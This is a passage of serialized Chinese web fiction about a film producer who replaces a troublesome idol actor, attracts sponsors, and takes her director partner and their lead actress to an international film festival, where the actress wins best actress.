“郭总监，不打扰你了，我先走了。”
“等等。”郭总监喊住了她，从抽屉拿出一个信封交给她。“晚上，露台那里有入夜派对，这是邀请函，到时候过来玩。”
这算什么？哄她么？
“还有，配音的事情你不用担心，我给你挑最好的配音演员。晚上见~”
舒誉宁一回去，青禾便迎了上来，问她演员的事情怎么样了。舒誉宁把邀请函交给她，告诉她，自己抗争无果，只弄回来这么一个安慰奖。
“姐，对不起啊，是我把问题想简单了。”青禾看上去很自责。要不是她想拍古偶，也不会惹出这么多令人不痛快的事。
“傻丫头，这不是你的错。是市场隐形规则出了问题。”
没有人需要为自己的热爱和坚持抱有歉意。
“我并不觉得事情有到了不可改变的地步，你做好自己那份。其余的，我会想办法。”
无论郭总监怎么给她洗脑，她会承受怎样的压力，舒誉宁都不会让一个轧戏咖来祸害自己的剧！
38. 未来与阻碍
郭总监的意思很清楚。她把Eddie带进来，无非两个目的——招商和宣发。也就是说，舒誉宁把这两个问题解决，让她的KPI顺利完成，那就能把Eddie换了。
这种东西口头保证没有用，郭总监只会觉得她在画大饼。所以，她要做的，就是制定相应的方案，并执行，把成效放到郭总监面前。
舒誉宁查了一下这部剧的招商情况。这部剧的招商分两类，一类是大鹅影业的祖传招商。这些品牌方和大鹅影业是兄弟企业，合作多年。不管拍什么剧，演员选谁，他们都会来投广。所以不用担心，换了演员后，他们的招商会掉。
另一类，则是看中Eddie流量的品牌方。
“xx牌保湿面膜……xx牌牛奶巧克力……xx电动牙刷……这都什么乱七八糟的！”
不过也正常，毕竟是古偶，难道还能指望高级箱包品牌来赞助吗？该说不说，这些赞助商涉及的品牌还挺广，吃的用的，全囊括了。并且，价格低廉。最贵的就是那支电动牙刷，189。包邮，送美白牙膏。
这些品牌的目标客户，也符合古偶的观众群体。以下沉市场为主，观众们看这些剧的时候，也不一定时时刻刻都专心。一边追剧一边刷手机，看到心仪的商品，说不定顺手就下单了。
舒誉宁想起来，她以前加过一个品牌方PR的500人群。群里大部分都是类似价位的品牌。发条消息过去，说不定能有几个PR愿意赞助。
【各位老师好，我是舒誉宁。我最近在拍一部古偶剧，需要品牌赞助，有品牌方有兴趣吗？私~】
不出三分钟，聊天页面被PR发送的消息撑得满满当当。
【舒制片你好，我是xx牌抗老眼霜的PR，想跟您详细聊聊电视剧赞助的事情，方便电联吗？】
【舒制片，我们家是做折扣网站的。你们的剧有多少集？单集8万的价格您看可以吗？】
【舒老师，我们是一家饮料公司，国民度很高的。我们想在片头买个广告位，价格好商量。】
舒誉宁在各个领域挑了一些品牌方，吃的喝的用的玩的，全部都有！
招商问题解决了，现在该解决宣发了。
Eddie的一些大粉已经知道他要出演这部剧的消息，提前联系好了后援会、网宣组、反黑组、数据站，准备给她们的“儿子”好好宣传宣传。现在饭圈的风气啊，与其说在追星，更像是在工作。大粉们都是和经纪团队甚至艺人本人，都有联系。在狗仔还需要四处蹲点跟线索时，大粉已经把最新的消息传递了别的散粉。
以前粉圈深恶痛绝的“私联”行为，现在变成了经纪团队最廉价、最高效的宣发手段。
做宣发，舒誉宁在行。但是怎么安抚这群粉丝，是个大问题。
要知道，她可是在粉丝这群人手里吃过大亏的人啊！她都能想象，她把Eddie换掉后，这群粉丝会怎么骂她。
骂也就算了，最怕就是她们集体反扑这部剧。买黑热搜、组团举报，这些都是粉丝泄愤的惯用伎俩。
对付粉丝舆论，就要魔法打败魔法。
舒誉宁有想过，要不把他轧戏这件事放料给狗仔，让狗仔去发通稿，这样粉丝就算闹起来，也不会影响到剧组。自己可以全身而退。
狗仔拒绝了她这个提议：“阿宁姐，‘轧戏’这件事，只有在业内是个大问题。可在粉丝眼里，是‘我的宝宝珍惜每一个机会，他是为了做演员的拼命三郎’。你信不信？”
她信！
到时候还要花大量的精力去解释“轧戏”对剧组带来的影响，沟通成本太高，而且粉丝只会：“我不听，我不听！我的宝宝有苦衷！”
“不过，我这里倒有个别的料，你说不定感兴趣。”
狗仔拿出了几张照片。
哦吼！舒誉宁一看，眼睛就亮了。
Eddie这是在，谈恋爱？
“这是他出道以来的第三个女朋友。这是一个小网红。前两个吗……一个是富家千金，一个是女爱豆。”
这些小爱豆啊，真不该对他们的职业操守抱有什么期待。
天天把“最爱粉丝”“最爱舞台”挂在嘴边。看起来，为了出道拼死拼活。一出道，转头就谈恋爱。要是好好谈恋爱，也算了。问题是，一段恋爱就谈两三个月，比他们的职业生涯更加快餐。
在粉丝和爱豆这层相互陌生又彼此纠缠的关系里，只有粉丝在全心全意地爱着。
“要爆么？”狗仔问她。
“先不用。照片借我用一下，谢啦。”
与消息一起发来的是舒誉宁给的“辛苦费”。狗仔很高兴。他就喜欢和舒誉宁合作，因为她给得太多了！
“郭总监，空么？”
“你舒大制片找我，哪怕是总裁有约，我都得推了。”
“这话折煞我了。”
舒誉宁把狗仔拍到的放到了郭总监面前。她瞄了一眼，就笑了。
“阿宁，你给我看这个干嘛？”
“他这人风险系数太高，我想把他换了。”
“你以为这些事我不知道？”
“你知道可太好了，我还担心怎么跟你解释呢。”
舒誉宁给她分析。她看中Eddie的宣发价值，主要来源是粉丝。但是能打垮粉丝的，就是恋爱塌房。一旦这些照片爆出去，粉丝下头还来不及，哪儿会给他做宣发啊！
“郭总，你想啊，就他这一天不谈恋爱，浑身不痛快的样子。被爆出来，早晚的事。你能帮他瞒下来，那他对家的公司呢？对家的粉丝呢？还有你想，一旦爆出来，后续他和女主的情侣档宣发，还要不要做？”
舒誉宁的说法就是，一枚定时炸弹而已，趁现在还没爆，赶紧拆了算了。演员千千万，不行咱就换。
“你这人啊，真的好拗啊！都说傅导拗，我看你比他拗多了！”
“你就说，换不换吗~”
舒誉宁听出来，郭总监的口风松动了。站在她的立场上，Eddie哪怕有价值，也不过是个可以随时替代的小偶像而已。既然舒誉宁这么坚持，也把招商和宣发的事情解决了，那就随她去吧。
“听你的听你的。不过他或者他的粉丝闹起来，你自己解决啊。”
“小事一桩！”
这天，舒誉宁和青禾在找男主人选时，Eddie和他经纪人闯了过来。
“舒誉宁，你什么意思！为什么换我的男主？”
现在的小爱豆都这么没礼貌吗？还
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是经纪公司不给上礼仪课？
“就凭你演技差，还轧戏。哦，现在还罪加一条，目中无人。这几条理由够了吗？”
自己几斤几两没数啊，居然还上门问自己要说法？那舒誉宁可就不客气了。
他经纪人倒是冷静一点，上来就要舒誉宁赔钱。白纸黑字签了合同的，怎么能说换就换？
“你还好意思提合同？”舒誉宁拿出了合同，指着上面“演员需保证在拍摄90日的大周期内，只拍摄本剧”这一条，把合同甩在了他经纪人脸上。“我没让你们赔钱不错了，竟然觍个脸，问我要钱？”
这个经纪人马上一副小人做派：“你知道我们背后是谁么？”
“不会只有个大鹅影业吧？”舒誉宁笑了几声，听上去嘲讽值拉满。
“当心我们把你欺负新人这件事捅出去！”
“随便你！”买黑热搜是吧？这种事舒誉宁经历了不知道多少次，她最擅长处理黑热搜了。“Eddie是吧，你最好保证你自己干干净净。否则，一定是你吃不了兜着走。”
Eddie心虚了。他不敢再对舒誉宁骂骂咧咧了。
他经纪人在舒誉宁面前，吃了大亏，只能带着Eddie离开。往外走时，还不忘哄着Eddie，对舒誉宁冷嘲热讽。
“宝子，咱们不怕。她不要我们，是她的损失。我们多红啊，有大把大把粉丝，还愁找不到戏拍吗……”
见他们走了，目睹了全程的青禾感到震惊：“这世上怎么会有这么不可理喻的人？”
当了几天爱豆而已，以为整个娱乐圈围着他转啊？这种人能红到年底，都算他命好。
“所以说娱乐圈是大染缸啊！什么奇葩都有。”
这种人吗，暴发户心态。这些年，舒誉宁也见多了。
“继续挑吧，现在没人干涉我们，一定要挑到最好的！”
这时，舒誉宁的电话响了。她一看来电，便心领神会。
“舒制片，我是小韩！太谢谢你了，我们组终于把那个Eddie换了！”
“韩老师，我们都是制片人，大家互帮互助而已。”
这个韩制片，就是Eddie轧戏的另一个剧组的制片人。他们不像舒誉宁一样，那么有魄力有能耐。他们全剧组人被Eddie的烂演技和烂态度，折磨得苦不堪言，却只能忍气吞声。
舒誉宁解决了自己剧组的问题，也帮了他们一把。
顺手的事。
“舒制片，你说你这么大的制作人，遇到事儿了，还不忘拉我们小辈一把。我们真的很感动。还有，你叫我小韩就可以了，我何德何能，能被你称为老师呢。”
听上去，这个韩制片快哭了。
舒誉宁也能理解，谁不是从底层摸爬滚打上来的？大家将心比心，都不容易。
“韩老师，我们是平级！不存在什么前辈小辈的。以后我们组遇到事儿，也需要你这里，多多帮忙！”
“啊？我还有能帮到你的地方吗？那那那那，你有需要随时叫我，24小时，随叫随到。”
韩制片激动地语无伦次。她的反应简直像一个见到爱豆的女粉丝。
舒誉宁想了想，眼下还真有几个问题，需要她来帮帮自己。
39. 未来与阻碍
舒誉宁马上要带着《浪潮》组去水城国际电影节。水城国际电影节被称为世界三大电影节。他们的叶子奖杯，是每一位电影人的最高目标。前期需要准备的工作非常多，在那里呆的时间也很长，大概要两周。
舒誉宁放心不下青禾。
这部古偶剧，不像赵启程那个组。有越天珑这样的娱乐圈人精可以自我运行，也没有文艺基金会可以为她保驾护航。对于这么一个全员新人的剧组来说，只能靠青禾这个导演指挥。可她自己的经验也不足。
韩制片那个组，这么多年来，一直深耕古偶领域。组里有经验的工作人员一大堆。借两个监制和顾问，应该不难吧。
“不难不难不难，我们很荣幸可以去贵组交流学习。不知道有没有机会见到傅导？”
“他不在。而且古偶，他也不懂啊。”
舒誉宁很难想象，傅明宇会去指导古偶。想想那个画面，她就觉得很恐怖。
“啊，这样吗……”韩制片听上去十分失落。
舒誉宁想了想，韩制片和自己，说到底是竞争关系。为了保证自己剧组的正常运行，她都愿意从自己的组里调人出来。如果不能满足他们这么一个小小的愿望，未免有些说不过去。
“这样吧，你找个时间，我带上傅导，过来看看你们。”
“随时安排！”
傅明宇听到舒誉宁这番话，眼神都空洞了：“你又把我卖了？”
“什么叫‘又’？我什么时候卖过你啊？”
“《浪潮》发行……哦，确实不算。”
傅明宇原本想说，和大鹅影业谈《浪潮》发行那时，她让自己签下了和大鹅影业的“卖身契”。他又仔细想想，不能说是她卖了自己。因为《浪潮》是他的作品。
“他们崇拜你。谁不知道傅大导演是华语影坛未来的中流砥柱啊！你就去见一面吗！”
“你这是给我搞了个粉丝见面会？”
“当然不是啊！”粉丝见面会是赚钱的，他这个不赚钱。“你去吗，你去吗，好不好？”
女人会撒娇，男人魂会飘。
舒誉宁难得撒次娇，看得傅明宇骨头都酥了。自然什么都依着她。
到了韩制片的剧组，舒誉宁和傅明宇，老远就看到挂在半空中的横幅。
【热烈欢迎舒誉宁制片、傅明宇导演莅临本组交流指导】。
韩制片带着组里一群代表，早早地在门口等候。
“来来来，两位，拍张照。”
韩制片指着眼前的摄影师，让舒誉宁他们看镜头。
这个风格……怎么这么像体制内领导下乡视察？就差一个小学生上来献花，给他们系红领巾了！
舒誉宁瞬间觉得，今天傅明宇穿得太随意了。不应该让他毛衣的，应该给他搭配一条黑色夹克。
“两位老师，能来我们组，真是太荣幸了。接下来，我先简单讲两句……”
“别讲了，别讲了。”舒誉宁赶紧阻止她，画风越来越不对了。韩制片这行事作风，不应该进娱乐圈，应该去考公。
“对对对。”傅明宇也没想到，会是这么一个接待风格。“我给大家买了下午茶，不要客气。”
“谢谢傅导！”
眼前的人群，齐刷刷地弯腰鞠躬。
傅明宇小声地问舒誉宁：“没跑错地方？”
“地方没跑错。可能是人出了错。”
到了片场，韩制片想着好好给他们介绍一下，舒誉宁也拒绝了。理由是，不想耽误大家工作。
“那我们随意？”
“随意，随意，当然随意。”
虽说嘴上说着随意。可是剧组里的人，哪里随意得下来。特别是那些演员们。哪怕是今天没有戏的演员，也都赶了过来。不大的片场里，里三层外三层，挤满了人。
他们这些人，基本上都是小演员。古偶已经是他们能接触到，最好的资源了。像舒誉宁和傅明宇这样电影人，尤其是在主流电影圈备受推崇的电影人，是做梦都不敢接触的。
他们想着，万一能在他们面前混个脸熟，哪天能在电影里混个跑龙套的角色，都算是飞升。
这是傅明宇第一次看古偶的拍摄。古偶剧的工作流程，让他很难受。
要是换做以前的他，会直接说出来，哪里哪里不好。但他现在明白了，这是人家的主场，这个剧组的导演才有话语权。
轮不到他这个外人指手画脚的。
最了解他的莫过于舒誉宁。一眼看出来，这人的强迫症又犯了。
“你想说什么就说吧。”
“这样好么？”
“他们都说了，请我们过来是交流指导的。你什么也不说，什么也不做，他们反而会失望。”
舒誉宁都这么说了，傅明宇也不再憋着。
只是现在的他，学会了令人更加体面的方式。他先绕到导演后面，在他耳边小声询问他的意见。
“刘导是吗？刚刚那个镜头，拍得很好。只是改一些细节会让这个镜头更完美，你觉得呢？”
刘导高兴得不行。他不仅被傅明宇夸了，还能得到傅明宇的一对一指导。求之不得啊！
“咔！所有人暂停，听傅导指挥！”
所有人的目光聚焦在傅明宇身上。
“我也不是指导，就是一些小想法。3号灯往下调两个档位，2号机和4号机，各自在左右补位。两位演员往前再来一点。哎，对对对，就是这里。刘导，你看，这样行吗？”
“太行了啊！”
经过傅明宇的一番调整，压低了光线，改变了拍摄角度，让整个画面的质感，有了质的飞跃。
接下来的几个小时，傅明宇完全是在义务劳动。
“打侧面光，不要打正面光。光线太死了。”
“两位，你们是虐恋情深。念台词不要这么平淡，重音应该在后半句。”
“除了桌面，其他杂的道具全撤掉。把画面中心留在一个点上。”
傅明宇的认真和抠细节，看得韩制片目瞪口呆。
“不愧是傅导，太专业了吧。”
舒誉宁谦虚着：“哎，他就这样。你们别介意啊。”
“你们二位的感情也真是好。舒制片你知道么？你们可是影视圈里的一段佳话啊。媒体对你们的评价是，灵魂伴侣。”
看来这个韩制片，平时也没少刷营销号。在傅明宇拿了首都电影节的最佳导演奖后，营销号写了好多他们恋爱细节的小作文。<
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p>那些小作文，一股子知音味儿。措辞肉麻得不行，十个字里有九个字是脑补。那细节编的，要不是舒誉宁是当事人，她都快信了。
不过舒誉宁还是没忘记她这次来的目的。
“韩制片，我们青禾导演的组……”
“你放心，都给你安排好了。我，还有我们组的总监制和总顾问。我们三个人，轮班去青禾导演那儿。”
“真是太谢谢了。不会影响你们组的日常运作吧？”
“怎么会呢？还有我们组的演员和群演，只要青禾导演有需要，我一并给她带过去。”
这年头，像韩制片这样实在的人不多了。
“有你这句话，我真的安心了。你也知道，横店这地方，不比别的。每天几百个组开工，需要协调的事儿太多了。”
“可不是吗！我第一次来横店也一样。什么也不懂，误了不少事。”
横店，这么一个剧组流动量巨大的地方，制片要处理的事情非常多。组影棚、组道具、约场地、约群演，协调衣食住行，要保证自己的剧组正常开工的前提下，还要保证不能影响到别的剧组。
这些事儿，哪怕舒誉宁本人来处理，估计也要抓瞎。
“听说你们这次要去水城？”
“嗯。”
舒誉宁还没正式宣传，已经人尽皆知了。
“哇！那傅导岂不是要成为华语影坛第五位，史上最年轻的，水城国际电影节的最佳导演了？”
“哪有啊！今年竞争很激烈，我们能提名受邀很不错了。”
也不知道怎么回事，搞得现在人人都以为，傅明宇能在水城国际电影节上拿奖。正所谓，期望越大，失望越大。傅明宇的导演之路还很长，如果过早拿到太多荣誉，很容易在过几年被人诟病“江郎才尽”。
傅明宇一开始导戏，就容易没完。今天这个剧组收工，比预计晚了整整三个小时。
要不是舒誉宁多次制止，在发飙的边缘徘徊，傅明宇还能再导几个小时。
“今天真是不好意思啊各位，耽误大家收工了。”
“没事，我们都很荣幸。平常哪有这种机会啊！”刘导说这话，并不是客套，而是真心这么认为。不止他，所有的演员和工作人员也这么认为。
最后他们离开，也是全组人送他们离开的。
“我其实还有很多细节要跟刘导说。”在车上，傅明宇的大脑仍然处于兴奋状态。脑子里的想法一个接一个。
“我知道。可现在已经很晚了。你得回去赶紧睡。最近要严格遵守我给你的作息时间表。明天开始，我给你安排了皮肤管理，一定要去，知道吗？”
“知道了。”为了参加这次的水城电影节，不出意外的话，自己又得挨饿。
傅明宇想吐槽那个作息时间表，却又不敢。舒誉宁把时间分配得非常细致，每一份每一秒都有用处，连给他们温存的时间都没留。难道这段时间，自己不仅要挨饿，还要吃素吗？
“我知道你在想什么。”知傅明宇者，舒誉宁也。“就今天，今天过后，一点商量的余地都没有了。”
“好！”
瞬间，傅明宇脑子里的拍摄想法烟消云散，只剩下如何完美渡过今晚的无限遐想。
40. 未来与阻碍
第二天一早，舒誉宁是被闹钟叫醒的。
已经八点了啊……
傅明宇这人，昨晚闹个没完。舒誉宁也没办法，谁让自己答应他了呢？折腾太过，造成的直接后果便是，早上起不来。
舒誉宁想赖床，但想到一会儿给他约了皮肤管理，还是打消了这个念头。不堵车的话，也要半个小时才到。不想迟到，现在必须起床。
她推了一下旁边的傅明宇。他翻了身，不理她。然后，她又喊了他两声。傅明宇还是不回答。
这货是在装睡吧？
“我数到三！”
“起来了！”
这人就这毛病。好好说话，不听。非要威胁几句，才能老实。
火速地换好衣服，舒誉宁带着傅明宇去了美容院。美容师根据傅明宇的皮肤情况，制定了一系列的保养计划，还规定了什么能吃什么不能吃。
“现在我们先做第一个项目，躺下吧。”美容师拍了拍旁边的躺椅。
傅明宇不知道要干什么，乖乖地躺下。直到，他看到美容师在一旁准备给他调配药剂。拿了一支两根手指这么粗的针，向他走过来。
“干嘛？”吓得傅明宇当场从躺椅上跳了起来。
舒誉宁一声怒吼：“坐下！”
“这么粗的针，我不打我不打！”
傅明宇誓死不从。
美容师见惯了这样的场面，给他解释道：“你别紧张。水光而已，不疼的。”
“医生不都这么说？”
傅明宇想不通，怎么会有好好的人，为了让自己变得更好看，去承受这么大的痛苦？这个针已经看起来很恐怖了。那些做大手术的人，是怎么说服自己的？
舒誉宁嫌他丢人：“快点，躺下。这么大个人了，还怕打针？”
“打针我不怕，但是你看看这个针有多粗。”
最后实在是没时间了。美容师三催四请，傅明宇才终于躺下来，同意打针。
结束后，舒誉宁拿着美容师送的冰袋，给傅明宇敷脸。
“你看，没你想象得这么疼吧？”
“我跟你说实话。我以前是挺看不起整容的人，现在我非常尊敬他们。”
刚打完针，傅明宇看了一眼镜子，差点被自己恶心吐。满脸都是针眼，又红又肿，还带着血。现在消肿了，看上去，好像皮肤确实有了些光泽。
舒誉宁理解他的想法。有些导演是很排斥演员整容。主要是排斥整容后带来的副作用。演员在镜头前，需要调动自己的五官，去传达角色在这个场景中的情绪。而整容后，难免会僵硬不自然。
不过，话又说回来了。肯为事业和粉丝躺手术台的艺人，称得上敬业。
“一会儿还要去试衣服。这次赞助的还有手表。理查德米勒啊，戴起来可给我小心点。”
三百多万啊！傅明宇都不觉得自己值这些钱，可他却要把这一堆天文数字戴在手上随便晃。
“能不戴么？”
“不行！你这个人怎么总爱讨价还价？”
“那我再还个价。这次的衣服，会像首都电影节的宴会那样浮夸吗？”
傅明宇还在对那件骚包的衬衫耿耿于怀。虽然那套look很出圈，“傅明宇晚宴穿搭”这个词条还上了热搜。网友们纷纷评论：“好看，爱看，多穿。”
“不会。这次我们走常规风格，西装。”这次是国际电影节，舒誉宁想严肃一点。而且，每次穿这么高调，观众不仅会腻，还会淡化他的导演身份。
舒誉宁觉得，可以偶尔在衣服上花点小巧思，给观众来点惊喜。更多的时候，她希望大众时时刻刻记得，傅明宇是一个专业的天赋型导演。
除了西装外，舒誉宁还有个构思。就是让傅明宇回他的学校，拍一个过去和现在做对比的街拍。
“你以前读书，都穿什么啊？”
“T恤、运动裤、帆布鞋。”
很典型的学生穿搭。
傅明宇给她看了自己留学的照片。怎么说呢，土得没眼看，就是一个普通的留子。以前的衣服是找不回来了，不过这种衣服，网上到处都是。舒誉宁买了一套跟照片里一模一样的，还买了学士服，打算给他多拍几组。
这次穿搭的选择，虽说是走常规路线，但舒誉宁还是一如既往地排斥黑色西装套装。她选了几套，以驼色、浅灰、咖色为主。除了颜色，她这次极为看中面料。傅明宇想不明白，款式和颜色相同，在面料上，能有多大的差别？
“当然有。老钱风穿搭，面料才是最重要的！”
“我其实很讨厌这个词，阶级意味太重了。”
傅明宇在留学期间，身边有不少富家子弟和千金。他们通常以oldmoney自居，极其高傲。他们就连衣服都要和普通人划清界限！生在春风里、长在红旗下的傅明宇，从小受的是“人人平等”的教育，自然看不惯他们这种行为。
“我明白你的意思。所以要让他们知道，他们所谓的专属穿搭，人人都穿得起。快去试试。”
一切准备就绪，一行人出发去了水城。
经过十多个小时的飞行，他们终于达到了水城。一落地，很多记者便围了上来。强烈的闪光灯，晃得他们睁不开眼睛。
他们都是国内的媒体，早早地便在机场等候《浪潮》剧组的到来。
“傅导傅导，您在多年前获得了水城国际电影节的短片奖和新人奖。对这次的最佳导演奖，您有没有信心？”
“傅导，这是华语影坛在十年后，再次有电影人提名水城国际电影节。你认为这对于华语影坛的未来会有什么影响？”
“千杉，你这次提名了最佳女主奖。处女作便入围了这么重要的一个奖项，你现在有什么想法吗？”
不怪他们如此激动，华语影坛已经很久没有人提名国际大奖了。这次他们提名的是“最佳外语片”“最佳影片奖”“最佳导演奖”和“最佳女主角奖”。
提名的奖项超过了本土的一些大热门影片。光是这点，就是足够惊动内娱的大喜事了。
“大家稍安勿躁。先保持秩序，这里毕竟是机场，要注意公共场合秩序安全的问题。”
舒誉宁先站了出来，领他们去了远离人群的地方。如果是平常，她早带着傅明宇和千杉走了，但今天不一样。他们代表的是华语电影，必须有华语电影人的风度。
“大家一个个来，慢慢问。今天傅导和千杉女士，一定会让大家采访到足够的素材。前提是，问的内容必须和电影、电影节有关。”
这场临时的记者会，进行了三个小时。等采访完，已经很晚了。一会儿还要去酒店放好行李，看来在水城第一个晚上，只能吃点面包凑合凑合了。
“怕什么，有我这个向导，还能让你们饿肚子吗？”
水城，城如其名。链接城市的是大
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大小小的水道。整座城市沉在水里，浪漫惬意。酒店外面就有贡多拉，傅明宇跟船夫谈好价格和地点，便扶着舒誉宁和千杉上了船。
“这地方偶尔来玩一玩还好，长期在这里住，很崩溃。”
水城的雨季很漫长，衣服是永远晒不干的，屋子，永远是发霉的。下大雨，连去学校，都是个大难题。出门前，书包里塞的法棍，到了学校，已经变成面糊了。
“公寓楼下的烘干机也不敢用，我亲眼见过有人把鞋子和发霉的地毯扔里面。”
“那你洗的衣服怎么办？”
“吹风机吹啊。后来，搬了个大点的公寓，才有了自己私人的烘干机。”
不知道在水道里绕了多少个弯，他们才到目的地。
这是一条小的商业街，周围的店铺早已打烊，只有一家小餐厅还开着。
“这地方不比国内。没外卖，没夜宵。有时候在学校里做课题晚了，我就来这里吃。”
傅明宇进门，对老板比了个OK的手势。老板点点头，便到后厨忙活了。他们找了个角落的位置坐下，等着开饭。
舒誉宁问他：“不点菜吗？”
“不用点菜，这家店只有披萨。按人数上。”
原来傅明宇比的不是“OK”手势，而是数字3。
手工披萨的制作是需要时间的。等了好一会儿，披萨才上来。
舒誉宁和千杉尝了一口，面面相觑。
傅明宇上学的时候，就吃这个？
“确实不好吃。意式披萨，越正宗越难吃。就跟他们的性格一样，平淡、无聊。”
傅明宇的厨艺，也在这种饮食环境中，逐渐锻炼了出来。
他友情提醒道：“不过还是要表现出很好吃的样子。不然主厨会生气的！”意国人最不能接受的是，有人不喜欢他们的披萨。
第二天，他们去了傅明宇的母校。校园的风格和欧洲大部分大学一样。在保留了中世纪传统的古堡风格的前提下，又加以现代化的简约设计。门口有一块很大的草坪，肥嘟嘟的鸽子三三两两落在上面。它们见到人也不躲，也可能是吃太胖了，飞不起来。
傅明宇穿着学士服，有些不好意思：“我穿这个，太装嫩了吧。”
距离他毕业，已经过去快十年了。自己现在，人到中年，眼神也不似20岁那时清澈。当时穿这身衣服有多兴奋，现在就有多不好意思。
“那你赶紧拍完，赶紧换下来呗。”
“行。”
准备就绪，傅明宇拿着和当年的一样的花束、毕业证书，站在了草坪前。
“一，二……”
“傅明宇！”
不知道谁喊了一声，傅明宇下意识往那边看去，却没看到人。
可是摄影师已经按下了快门，原本完美的正脸角度，变成了侧脸废片。
“重拍吧。”
“不用。”
傅明宇打开手机，翻出来毕业照。其中一张也是这样，傅明宇转头往旁边看。其实这张也是废片，不知道为什么傅明宇却把这张留下了。
舒誉宁尝试着把这两张照片拼在一起，惊奇地发现。两个傅明宇，眼神交汇在了一起。
“你当时为什么转头？”
“好像也是有人叫我。转过去，没看到人。现在我大概知道了，是谁在喊我。”
他转过头，看到的是另一个时空的自己。
41. 未来与阻碍
“《浪潮》组来了，《浪潮》组来了！”
水城国际电影节的开幕红毯上，《浪潮》组绝对是最吸睛的存在。原本，一群“毯星”在红毯上各种扭捏霸占镜头，搞得这些记者早就不耐烦了。《浪潮》组的到来，解救了他们。
这些媒体就是来拍他们的，一个个蜂拥而上，生怕错过这次独家。
这一次，舒誉宁也作为《浪潮》的代表，登上了红毯。
“阿宁姐也来了，快去拍她！”
舒誉宁虽然是《浪潮》的制片人，导演和女主的经纪人，但她更多的时候是在幕后。这次难得的露面，成为了全场焦点。
主办方显然也预判到了他们的火爆。《浪潮》组作为华语电影乃至整个亚洲电影圈的代表，主办方自然是给足他们排面。
现场的安保人员都是提前对接好的，没有催促他们赶紧走完红毯，而是预留了足够久的拍摄时间。这下，除了特地赶来的国内媒体，国外媒体也纷纷把镜头对准他们。
“《浪潮》雄起，华语电影雄起！”
“《浪潮》最嗲了！哈灵额！”
“你们最犀利了，爱你们！”
围观人群中，也有不少中国人。他们用着各自的乡音《浪潮》、为华语电影欢呼喝彩。
进入会场，首先是优秀电影展映环节。《浪潮》也是本次展映环节入选的唯一一部电影。
“Hi，Mingyu!”
“Hi，professor！”
刚入座，一个嘉宾便走了过来。他热情地和傅明宇打招呼，说着千杉和舒誉宁听不懂的语言。
“姐，这不是那个国际大导演吗？这次他也提名了最佳导演奖哎。”
“嗯。你也认出来了？”
这个人，他们都认识。他是欧洲电影泰斗级别的大导演。光是水城国际电影节，他就蝉联了3届的“最佳导演奖”。除此以外，他拿过的奖项记录，至今无人打破。
“我介绍一下，这是我留学的导师。”
攀谈完毕，傅明宇给他们做了介绍。舒誉宁听不太懂他们的说什么。直到这个大导演，看着她惊呼一声：“Wow，yourgirlfriend？”
“泥嚎！”
“您好。”
等他走了，舒誉宁才问傅明宇：“怎么没听你提过，你是他学生？”
“不想丢老师的人。”
过去的傅明宇，在娱乐圈的名声可谓是“声名狼藉”。空有天才之名，却无天才之实。所以，他很少提自己留学时的经历。现在他功成名就，这段过往，他也不介意被人知道。
展映会开始了。
第一部影片是《浪潮》。故事以下岗潮为背景，一群受到影响的年轻人，聚在一起。他们中有90年代稀缺的大学生、有拿过劳模奖的工人、有去南方打过工，见识过国际经济的商人……他们每个人都象征着那个时代缩影。
每个群像，最后的结局都是分崩离析。这部电影的结局也是如此。
最后，镜头里只剩下女主角千杉一人。她背着包，站在站台上，拿着车票，登上了去往远方，奔向千禧年。
电影结束，新时代却开始了。
舒誉宁不知道何时，红了眼眶。
傅明宇没有刻意营造泪点。他通过镜头的推进，将这群人的故事和那个时代交织来了一起，唤起观众的共鸣。总有一帧，它会直击到观众的心灵，跟着主角一起，陷入时代的漩涡。
傅明宇感受到了舒誉宁的泪点，轻轻地握住了她的手。
舒誉宁告诉他：“不怕你笑我，我还是第一次看这部电影。”
《浪潮》自从投入拍摄工作后，舒誉宁太忙了。连正式公映，都没时间看。
“我知道。其实也没关系，因为《浪潮》的故事，每天都在发生。”
主角们，在过去的年代里颠沛流离。活在当下的他们，又何尝不是？每个人都是时代浪潮中的一滴水，没有谁可以独善其身。
《浪潮》结束后，是傅明宇导师的电影。
光看电影风格，很难想象他们是师生关系。他的导师，镜头里有着浓烈的、独属于意国人的浪漫与自由。不像傅明宇，他的叙事风格，像纵观一切的记录仪，骨子里带着冷漠和傲气。
“所以，上学的时候，他对我又爱又恨。”
他欣赏傅明宇的才华，又讨厌他的高傲。不过拍电影毕竟不是做试卷，没有什么标准答案。傅明宇并没有因为老师对他的这份讨厌，就强行改变自己的风格。不然，今天就没有这么优秀的《浪潮》了。
为期的一周的展映会，终于结束。接下来，便是电影节的闭幕式，也是重头戏——颁奖典礼。
《浪潮》获得的第一个奖是“最佳外语片”。
这个奖，很多人都预测到了。上台领奖的是舒誉宁。她提前向傅明宇学习了几句简单的意国语，作为颁奖词的开场白。而后，她换回了自己最熟悉的母语。
“感谢各位国际电影人，和从国内一路陪伴我们的华语电影人。今天，我代表《浪潮》剧组，获得这份荣誉，我很激动……”
然后就是最佳短片奖、最佳故事片将、最佳纪录片奖……这种大型的电影盛典，分的奖项门类特别多。拖了快两个小时，才把影片奖全部颁发完毕。
接下来，便是个人奖。个人奖第一个公布的是“最佳导演奖”。
舒誉宁小声问傅明宇：“紧张吗？”
“不紧张。因为我觉得今年我不会中。”
傅明宇猜得果然没错，最后得奖的是他老师。他老师站在领奖台上，从容地说着获奖感言。傅明宇便在台下，给舒誉宁和千杉，一句句翻译。获奖感言的最后，他导师还在提到了傅明宇。说自己很期待看到他以后也能站在领奖台上，他是自己最骄傲的学生。
此言一出，全场哗然。谁能想到当代的电影大师和未来的电影大师，会是师生关系。估计此时，网上的评论又要爆了。
颁奖继续，舒誉宁看着领奖台上，或哭或笑的获奖者，心里想着：哪怕没有获得“最佳导演奖”，但他们也不虚此行。能获得“最佳外语片奖”足以证明，他们在华语影坛的地位。
“￥%#……%《？{》，QianShan！”
什么什么？她是不是听到了千杉？
千杉怎么了？她获了什么奖？
听懂了的傅明宇十分激动，赶紧推了推早
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已愣在原地的舒誉宁和千杉：“快去领奖啊，千杉拿奖了！最佳女主角！”
什么？最佳女主角？千杉拿了最佳女主角？
“啊啊啊！”
“啊啊啊！”
舒誉宁和千杉激动地站了起来，紧紧地相拥在一起！
激动的她们，完全顾不得什么姿态，什么含蓄，能表达此刻内心的，只有高声尖叫！
“姐，我，我，拿奖了，拿奖了！”
“对，是你，真的是你！最佳女主角是你！你是影后！”
她们和彼此确认着刚刚听到的一切。随后，再次紧紧相拥。
“Congratulation！”
